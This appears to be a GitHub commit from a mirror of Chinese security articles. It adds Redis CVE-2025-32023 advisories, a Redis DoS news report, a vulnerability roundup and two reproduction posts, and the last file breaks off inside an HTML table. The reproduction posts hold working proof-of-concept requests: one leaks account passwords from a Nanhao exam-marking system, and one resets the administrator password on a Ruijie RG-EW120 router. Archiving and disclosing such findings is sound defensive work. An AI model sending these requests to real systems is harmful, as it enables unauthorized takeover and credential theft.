mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
【漏洞复现】锐捷 RG-EW120路由器存在密码重置漏洞、Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)、【漏洞通告】Redis hyperloglog命令越界写入导致RCE漏洞 (CVE-2025-32023)、【更！】25HVV热点攻击漏洞含0day，各单位自查...、雷神众测漏洞周报2025.6.30-2025.7.6、【漏洞复现】南昊网上阅卷系统∕exam∕monitor∕index.jsp接口未授权访问、Redis曝高危漏洞，认证客户端可致服务中断、
This commit is contained in:
test committed
1 parent
dd5bffb2fe
commit
b6b13395fe
8 files changed
+720
-1
No files matched your search
@@ -15844,5 +15844,12 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNDk0MDgxMw==&mid=2247500089&idx=1&sn=34735acc4543857c99268d52e2e5b501": "2025年人工智能大模型产品漏洞众测活动启动公告",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247487548&idx=1&sn=7b0fb2f3107df101675679504bbb0c10": "PHP 漏洞 CVE-2025-6491（SOAP DoS）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503557&idx=1&sn=b46dcfec1d66e735b4c53d7ae9633c0c": "安全热点周报：超过 1,200 个 Citrix 服务器未针对关键身份验证绕过漏洞进行修补",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489664&idx=1&sn=df572e4cbef72a5ed6c4de877b52b935": "【SRC】某选课小程序任意用户登录漏洞深度剖析"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489664&idx=1&sn=df572e4cbef72a5ed6c4de877b52b935": "【SRC】某选课小程序任意用户登录漏洞深度剖析",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0MjU5NTY2MQ==&mid=2247484416&idx=1&sn=d4ca2b0c863b7ac03f1c479a4455648d": "【漏洞复现】锐捷 RG-EW120路由器存在密码重置漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526738&idx=1&sn=198681d077860153b253b1e29ce8bede": "Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247501277&idx=2&sn=4281534d703a4bbc63efa979f6383778": "【漏洞通告】Redis hyperloglog命令越界写入导致RCE漏洞 (CVE-2025-32023)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547053&idx=1&sn=ab425df27b630dfa1c1d59759bf1ad37": "【更！】25HVV热点攻击漏洞含0day，各单位自查...",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652503454&idx=1&sn=4a486edbf229f8614fc4bfaa37270d4a": "雷神众测漏洞周报2025.6.30-2025.7.6",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0MjU5NTY2MQ==&mid=2247484421&idx=1&sn=5c3724f0c2d78efe44c29769c0a54860": "【漏洞复现】南昊网上阅卷系统∕exam∕monitor∕index.jsp接口未授权访问",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458596945&idx=3&sn=ce5a42d0da3011db31e51a6b4c67cb24": "Redis曝高危漏洞，认证客户端可致服务中断"
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
# Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)
|
||||
长亭科技 乌雲安全 2025-07-08 09:15
|
||||
|
||||
|
||||
|
||||
|
||||
Redis（全称为 Remote Dictionary Server）是一种开源的内存数据存储系统，也被称为数据结构服务器。它提供了多种数据结构（如字符串、哈希表、列表、集合、有序集合等）的存储和操作功能，并支持持久化、复制、高可用性以及分布式功能。
|
||||
|
||||
2025年7月，Redis发布新版本，修复了一处越界写入漏洞。经分析，拥有用户权限的攻击者可利用该漏洞执行任意系统命令，建议受影响的用户尽快修复。
|
||||
|
||||
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
Description
|
||||
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞成因**
|
||||
|
||||
经过身份验证的攻击者可通过构造特定的恶意字符串，在 HyperLogLog 操作中触发堆栈或堆内存的越界写入。由于内存破坏可能被进一步利用，此漏洞最终可能导致远程代码执行（RCE）。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
攻击者可在服务器上执行任意系统命令，可能导致服务器被完全控制、数据泄露或业务系统沦陷。
|
||||
|
||||
|
||||
**处置优先级：高**
|
||||
|
||||
漏洞类型：
|
||||
代码执行
|
||||
|
||||
**漏洞危害等级：**
|
||||
高
|
||||
|
||||
**触发方式：**
|
||||
网络远程
|
||||
|
||||
**权限认证要求：**
|
||||
需要权限
|
||||
|
||||
**系统配置要求：**
|
||||
默认配置
|
||||
|
||||
**用户交互要求：**
|
||||
无需用户交互
|
||||
|
||||
**利用成熟度：**
|
||||
POC/EXP 已公开
|
||||
|
||||
**修复复杂度：**
|
||||
低，
|
||||
官方提供版本升级修复方案
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**影响版本**
|
||||
|
||||
Affects
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
```
|
||||
```
|
||||
|
||||
**解决方案**
|
||||
|
||||
Solution
|
||||
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
##
|
||||
|
||||
## 临时缓解方案
|
||||
|
||||
|
||||
使用 Redis ACL 限制用户执行 PFADD、PFCOUNT、PFMERGE 等 HLL 相关命令。
|
||||
|
||||
## 升级修复方案升级产品至8.0.3、7.2.10、7.4.5、6.2.19 或之后的版本，下载地址：https://github.com/redis/redis/releases漏洞复现Reproduction04参考资料：[1].https://github.com/redis/redis/security/advisories/GHSA-rp2m-q4j6-gr43
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
# Redis曝高危漏洞，认证客户端可致服务中断
|
||||
看雪学苑 看雪学苑 2025-07-07 09:59
|
||||
|
||||
2025年7月7日，安全研究人员发现热门内存数据存储系统Redis存在一个严重的拒绝服务（DoS）漏洞，该漏洞编号为CVE-2025-48367，在CVSSv4评分体系中达到了7.0分的高危级别。此漏洞的存在，使得已认证的客户端有可能对Redis服务进行干扰，进而导致服务中断。
|
||||
|
||||
|
||||
此次漏洞是由安全研究员Gabriele Digregorio负责披露的，之后经过Redis开发团队的验证。其问题根源在于已认证用户对Redis多批量协议命令的滥用。虽然Redis的核心安全理念是信任已认证用户，但这一漏洞若被利用，依然会对服务器的性能造成影响，甚至可能引发服务宕机。
|
||||
|
||||
|
||||
Redis官方在安全公告中表示：“该问题的产生依赖于对Redis内置命令网络协议的滥用或误用，并且需要用户成功完成认证。从这方面来看，它并未违背Redis的安全模型……不过，仍然可能会对服务的可用性造成意想不到的影响。”
|
||||
|
||||
|
||||
值得关注的是，考虑到直接通过代码修复该漏洞可能会对Redis的正常功能和性能产生负面影响，Redis官方决定不采取这种方式。官方团队称：“我们经过评估认为，实施应用程序变更来防止这种情况的发生，会对Redis的合法功能和性能产生不利影响。因此，我们不打算针对这个问题进行修复，而是选择发布此安全公告。”
|
||||
|
||||
|
||||
尽管如此，Redis还是为四个活跃的版本分支发布了补丁，分别是8.0.3、7.4.5、7.2.10和6.2.19。这些补丁中包含了一些常规的稳定性改进，可能也涉及到了与该漏洞相关的缓解措施，具体内容可查看各版本的发布说明。
|
||||
|
||||
|
||||
鉴于该漏洞的特性，Redis官方给出了加强访问控制和身份验证的建议：
|
||||
|
||||
-实施严格的身份认证措施，避免将Redis实例暴露在不可信的网络环境中；
|
||||
|
||||
-将Redis的访问与企业的身份提供商进行集成，以实现更有效的访问控制；
|
||||
|
||||
-相关人员应重新审视Redis的安全最佳实践，强化部署。
|
||||
|
||||
|
||||
|
||||
资讯来源
|
||||
：
|
||||
securityonline.info
|
||||
|
||||
转载请注明出处和本文链接
|
||||
|
||||
|
||||
|
||||
﹀
|
||||
|
||||
﹀
|
||||
|
||||
﹀
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**球分享**
|
||||
|
||||
|
||||
|
||||
**球点赞**
|
||||
|
||||
|
||||
|
||||
**球在看**
|
||||
|
||||
|
||||
|
||||
|
||||
点击阅读原文查看更多
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
# 【更！】25HVV热点攻击漏洞含0day，各单位自查...
|
||||
安小圈 2025-07-08 10:35
|
||||
|
||||
**安小圈**
|
||||
|
||||
|
||||
第703期
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**20250708最新漏洞情报**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**1**
|
||||
|
||||
员工记录管理系统通过loginerms.php端点存在SQL注入漏洞
|
||||
|
||||
|
||||
|
||||
2
|
||||
|
||||
Educoder Challenges v1.0容器安全机制不足导致任意代码执行漏洞
|
||||
|
||||
|
||||
|
||||
3
|
||||
|
||||
MesciusActiveReports.NET TypeResolutionService反序列化漏洞导致远程代码执行
|
||||
|
||||
|
||||
|
||||
4
|
||||
|
||||
Marvell QConvergeConsole saveAsText目录遍历漏洞导致远程代码执行
|
||||
|
||||
|
||||
|
||||
5
|
||||
|
||||
Redis hyperloglog 远程代码执行(CVE-2025-32023)
|
||||
|
||||
|
||||
|
||||
6
|
||||
|
||||
汉王e脸通 addVisitDeviceAppointmentlnfoTest.do fastjson反序列化RCE
|
||||
|
||||
|
||||
|
||||
7
|
||||
|
||||
Wazuh股务器远程代码执行漏洞
|
||||
|
||||
|
||||
|
||||
8
|
||||
|
||||
Dokploy命令注入漏洞
|
||||
|
||||
|
||||
|
||||
9
|
||||
|
||||
WordPress Google Reviews插件目录遍历漏洞
|
||||
|
||||
|
||||
|
||||
10
|
||||
|
||||
SAP NetWeaver Enterprise Portal Federated Portal反序列化漏洞
|
||||
|
||||
网络漏洞，真假自辩，如存在相关应用程序，请联系厂商进行验真并修复！！！
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
|
||||
**【内容**
|
||||
**来源：喵星安全研究所】**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- [【HVV】护网系列 威胁情报共享7.7](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547048&idx=1&sn=d943617032f197fb6cb70fff9f8eb3d2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [25HVV最新0day更新，各单位自查...](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546998&idx=1&sn=c3077c2a50dfec80de8f9e21b507ae53&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=1&sn=2f16da5665014b4c07bcbd53e3d1c03e&scene=21#wechat_redirect)
|
||||
- [【HW】8个因护网被开除的网安人](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=1&sn=2f16da5665014b4c07bcbd53e3d1c03e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=2&sn=e9578e62a475ac5c46b95ac81066d2a7&scene=21#wechat_redirect)
|
||||
- [HW应急溯源：50个高级命令实战指南](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=2&sn=e9578e62a475ac5c46b95ac81066d2a7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [震惊全球！中国团队攻破RSA加密！RSA加密告急？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546856&idx=1&sn=11b36f6fabde860e889e4ac2f4797bba&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546815&idx=1&sn=99a4f3228f322ef92c93d23cee01f071&scene=21#wechat_redirect)
|
||||
- [2025年【护网】攻防演练时间已定！](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546815&idx=1&sn=99a4f3228f322ef92c93d23cee01f071&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546578&idx=1&sn=87cdf84e6fd7d35986b29acd90954c65&scene=21#wechat_redirect)
|
||||
|
||||
[突发！小红书惊现后门......](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546578&idx=1&sn=87cdf84e6fd7d35986b29acd90954c65&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
- [2025年“净网”“护网”专项工作部署会在京召开，看看都说了哪些与你我相关的关键内容？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546673&idx=1&sn=53fe0365785465d4ff6193a9ca639119&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- # 护网即将来临，这场网安盛会带给了我们打工人什么......
|
||||
|
||||
- [护网在即，企业还有什么新思路可以应对吗？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546698&idx=1&sn=55ab4ac8dffb5f7ccf02a4f759537acf&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
- [HW必备：50个应急响应常用命令速查手册一（实战收藏）](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546304&idx=2&sn=45ef99e528ded7ff2e65e4d70e6d5181&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [HW必备：50个应急响应常用命令速查手册二（实战收藏）](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546327&idx=2&sn=cf1ebbd2b511524ec965a3672b6fc3dd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546530&idx=1&sn=4a2820b60102e538e87c956375f6fcdb&scene=21#wechat_redirect)
|
||||
- [网安同行们，你们焦虑了吗？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546530&idx=1&sn=4a2820b60102e538e87c956375f6fcdb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546466&idx=1&sn=a9d55d0b430dbf61dc219fd71ce25ae1&scene=21#wechat_redirect)
|
||||
- # 网安公司最后那点体面，还剩下多少？
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545577&idx=1&sn=76a4dbd28d9c0e006b7790d89c2b1354&scene=21#wechat_redirect)
|
||||
- [2024年网安上市公司营收、毛利、净利润排行](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545577&idx=1&sn=76a4dbd28d9c0e006b7790d89c2b1354&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545311&idx=2&sn=bb8ff7cd42079bae40ab0a2e05ff37c1&scene=21#wechat_redirect)
|
||||
- [突发！数万台 Windows 蓝屏。。。。广联达。。。惹的祸。。。](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545311&idx=2&sn=bb8ff7cd42079bae40ab0a2e05ff37c1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
#
|
||||
- # 权威解答 | 国家网信办就：【数据出境】安全管理相关问题进行答复
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247539649&idx=1&sn=8858b449c89d21240e1f522e92be4fbd&scene=21#wechat_redirect)
|
||||
- # 全国首位！上海通过数据出境安全评估91个，合同备案443个
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544405&idx=2&sn=a961d43ca4a9ed667fccbbab758d9196&scene=21#wechat_redirect)
|
||||
- # 沈传宁：落实《网络数据安全管理条例》，提升全员数据安全意识
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545156&idx=1&sn=ee5292e9838b2a2112a94a9c7c683925&scene=21#wechat_redirect)
|
||||
|
||||
- [频繁跳槽，只为投毒](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545156&idx=1&sn=ee5292e9838b2a2112a94a9c7c683925&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545017&idx=1&sn=b513c15f91d5de7a8fa33c4b3725706a&scene=21#wechat_redirect)
|
||||
- [【高危漏洞】Windows 11：300毫秒即可提权至管理员](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545017&idx=1&sn=b513c15f91d5de7a8fa33c4b3725706a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544601&idx=1&sn=e230574b0535e6005b830d086cdcf867&scene=21#wechat_redirect)
|
||||
- [针对网安一哥专门的钓鱼网站](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544601&idx=1&sn=e230574b0535e6005b830d086cdcf867&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=1&sn=06311aa3f8aeba492f83224c652fe4a1&scene=21#wechat_redirect)
|
||||
|
||||
- [为什么【驻场】网络安全服务已成为大多数网络安全厂商乙方不愿再触碰的逆鳞？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=1&sn=06311aa3f8aeba492f83224c652fe4a1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
- [HW流程以及岗位职责](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=3&sn=97e6083dbfbdd896680e24770a10d319&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247543989&idx=1&sn=2821b91efdd626e1a38ec6b2b439186b&scene=21#wechat_redirect)
|
||||
|
||||
- # 网络安全【重保】| 实战指南：企业如何应对国家级护网行动？
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542929&idx=1&sn=8cf6f15ddca44e343a494eea0fa619b2&scene=21#wechat_redirect)
|
||||
- **DeepSeek安全：AI网络安全评估与防护策略**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542701&idx=1&sn=567674aa12d861c3561d453268badb91&scene=21#wechat_redirect)
|
||||
- **虚拟机逃逸！VMware【高危漏洞】正被积极利用，国内公网暴露面最大******
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542458&idx=1&sn=d81d049331d175a2176f0978d7f032a8&scene=21#wechat_redirect)
|
||||
- **挖矿病毒【应急响应】处置手册******
|
||||
|
||||
****- **用Deepseek实现Web渗透自动化**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542225&idx=2&sn=244a465fab183f4fa91a284b92a920e6&scene=21#wechat_redirect)
|
||||
- **【风险】DeepSeek等大模型私有化服务器部署近九成在“裸奔”，已知漏洞赶紧处理！**
|
||||
|
||||
****- **关于各大网安厂商推广「DeepSeek一体机」现象的深度分析**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect)
|
||||
- [Deepseek真的能搞定【安全运营】？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540432&idx=1&sn=b9e7e6103e86b9966f29d7eacf8e3d1e&scene=21#wechat_redirect)
|
||||
- **【热点】哪些网络安全厂商接入了DeepSeek？**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540206&idx=2&sn=300737ad84f684e622fdde03da0fc1a7&scene=21#wechat_redirect)
|
||||
- **【2025】常见的网络安全服务大全（汇总详解）**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540343&idx=1&sn=59d6f592f71a7f1e3a18fd082aa3de40&scene=21#wechat_redirect)
|
||||
- **AI 安全 |《人工智能安全标准体系(V1.0)》(征求意见稿)，附下载**
|
||||
|
||||
|
||||
- **2025年 · 网络威胁趋势【预测】**
|
||||
|
||||
|
||||
- **【实操】常见的安全事件及应急响应处**
|
||||
|
||||
|
||||
- **2024 网络安全人才实战能力白皮书安全测试评估篇**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# 【漏洞复现】南昊网上阅卷系统/exam/monitor/index.jsp接口未授权访问
|
||||
什么安全 什么安全 2025-07-08 09:06
|
||||
|
||||
|
||||
请勿利用
|
||||
文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接
|
||||
或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责
|
||||
！
|
||||
## 产品描述
|
||||
|
||||
南昊网上阅卷系统是一款专为教育领域设计的在线阅卷工具，它能够帮助教师和考试机构实现高效、准确的试卷评阅。
|
||||
## 漏洞描述
|
||||
|
||||
|
||||
系统
|
||||
/exam/monitor/index.jsp存在未授权访问，远程攻击者可通过该接口获取用户账号与密码，造成信息泄露。
|
||||
## Poc
|
||||
|
||||
```
|
||||
http://127.0.0.1/exam/monitor/index.jsp?logname=admin
|
||||
```
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
小
|
||||
知
|
||||
识
|
||||
|
||||
|
||||
|
||||
|
||||
**依据《刑法》第285条第3款的规定，犯提供非法侵入或者控制计算机信息罪的，处3年以下有期徒刑或者****拘役****，并处或者单处****罚金****;情节特别严重的，处3年以上7年以下有期徒刑，并处罚金。**
|
||||
|
||||
|
||||
|
||||
声
|
||||
明
|
||||
|
||||
|
||||
|
||||
**本文提供的技术参数仅供学习或运维人员对内部系统进行测试提供参考，未经授权请勿用本文提供的技术进行破坏性测试，利用此文提供的信息造成的直接或间接损失，由使用者承担。**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
# 【漏洞复现】锐捷 RG-EW120路由器存在密码重置漏洞
|
||||
什么安全 什么安全 2025-07-08 06:33
|
||||
|
||||
|
||||
请勿利用
|
||||
文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接
|
||||
或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责
|
||||
！
|
||||
## 产品描述
|
||||
|
||||
锐捷网络
|
||||
RG-EW1200G是一款有线无线全千兆
|
||||
双频无线路由器
|
||||
，适合平层家居、别墅、小型店铺、SOHO办公等场景使用。
|
||||
## 漏洞描述
|
||||
|
||||
|
||||
系统
|
||||
/api/sys/set_passwd存在逻辑缺陷，远程攻击者可通过该接口任意修改管理员密码实现系统登录。
|
||||
## Poc
|
||||
|
||||
```
|
||||
POST /api/sys/set_passwd HTTP/1.1
|
||||
Host:
|
||||
Content-Length: 42
|
||||
Accept: application/json, text/plain, */*
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.140
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
Origin:
|
||||
Referer:
|
||||
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
|
||||
Connection: close
|
||||
|
||||
{"username":"web","admin_new":"xxxxx"}
|
||||
```
|
||||
|
||||
##
|
||||
## 漏洞复现
|
||||
|
||||
|
||||
|
||||
|
||||
小
|
||||
知
|
||||
识
|
||||
|
||||
|
||||
|
||||
|
||||
**依据《刑法》第285条第3款的规定，犯提供非法侵入或者控制计算机信息罪的，处3年以下有期徒刑或者****拘役****，并处或者单处****罚金****;情节特别严重的，处3年以上7年以下有期徒刑，并处罚金。**
|
||||
|
||||
|
||||
|
||||
声
|
||||
明
|
||||
|
||||
|
||||
|
||||
**本文提供的技术参数仅供学习或运维人员对内部系统进行测试提供参考，未经授权请勿用本文提供的技术进行破坏性测试，利用此文提供的信息造成的直接或间接损失，由使用者承担。**
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# 【漏洞通告】Redis hyperloglog命令越界写入导致RCE漏洞 (CVE-2025-32023)
|
||||
启明星辰安全简讯 2025-07-08 08:59
|
||||
|
||||
### 一、漏洞概述
|
||||
<table><tbody style="visibility: visible;"><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-width: 2.25pt 1.5pt 1.5pt 2.25pt; border-color: windowtext; border-style: solid; background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞名称<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top: 2.25pt solid windowtext; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">Redis hyperloglog命令越界写入导致RCE漏洞</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">CVE ID<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top:none;border-left:none;border-bottom: 1.5pt solid windowtext;border-right:2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">CVE-2025-32023</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞类型<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">命令执行<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; 